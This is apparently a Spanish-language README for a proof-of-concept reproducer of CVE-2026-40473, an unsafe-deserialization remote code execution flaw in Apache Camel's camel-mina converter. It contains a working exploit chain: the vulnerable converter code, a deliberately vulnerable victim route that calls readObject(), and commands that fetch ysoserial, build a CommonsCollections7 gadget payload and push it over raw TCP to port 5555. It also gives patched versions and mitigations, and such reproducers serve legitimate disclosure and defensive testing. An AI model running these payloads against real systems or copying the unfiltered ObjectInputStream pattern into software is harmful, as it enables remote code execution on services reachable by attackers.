
Reproductor para CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput deserialización insegura (RCE sobre TCP/UDP)
Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente camel-mina de
Apache Camel, registrada como CVE-2026-40473. El convertidor de tipos MinaConverter.toObjectInput(IoBuffer)
envuelve los bytes recibidos en un ObjectInputStream crudo sin ObjectInputFilter, por lo que una ruta que
convierta un cuerpo TCP/UDP a ObjectInput y llame a readObject() puede ser llevada a ejecución remota de
código por un atacante que envíe un objeto serializado manipulado al puerto MINA.
Aviso: https://camel.apache.org/security/CVE-2026-40473.html
El convertidor de tipos IoBuffer → ObjectInput envuelve el buffer en un ObjectInputStream crudo:
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // NO ObjectInputFilter
}
Cuando un consumidor TCP/UDP de camel-mina entrega los bytes crudos (p. ej. con allowDefaultCodec=false) y la
ruta solicita ObjectInput (getBody(ObjectInput.class), @Body ObjectInput o
convertBodyTo(ObjectInput.class)), este convertidor se ejecuta. Llamar a readObject() en el flujo devuelto
ejecuta cualquier cadena de gadgets presente en los bytes suministrados por el atacante.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // deserialization sink
exchange.getMessage().setBody("deserialized: " + obj);
});
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"
(El puerto MINA 5555 es interno al contenedor en esta PoC; el helper /exploit/inject realiza el
envío TCP crudo desde el interior. Exponga el puerto 5555 para enviar desde el host con un cliente crudo como nc.)
docker exec cve-2026-40473 ls -la /tmp/pwned
docker compose down
Cualquier consumidor TCP o UDP de camel-mina cuya ruta convierta el cuerpo a ObjectInput (directamente, mediante
@Body ObjectInput o convertBodyTo(ObjectInput.class)) es explotable por cualquiera que pueda alcanzar el
puerto MINA.
ObjectInput de los bytes recibidos.commons-collections:3.2.1).Actualice a 4.14.6 / 4.18.2 / 4.20.0. La corrección aplica un ObjectInputFilter / lista blanca de clases al
convertidor (en línea con el endurecimiento aplicado a camel-netty, camel-jms y camel-infinispan).
Hasta actualizar:
ObjectInput / no los deserialice.CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject: sends serialized bytes over TCP to mina:5555
└── resources/
└── application.properties
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-mina |
| Clase afectada | org.apache.camel.component.mina.MinaConverter (toObjectInput) |
| CWE | CWE-502: Deserialización de datos no confiables |
| Impacto | Ejecución remota de código (RCE) sobre TCP/UDP |
| Versiones afectadas | Desde 3.0.0 hasta antes de 4.14.6, desde 4.15.0 hasta antes de 4.18.2, desde 4.19.0 hasta antes de 4.20.0 |
| Versiones corregidas | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23319 |
| Reportero | Venkatraman Kumar (Securin) |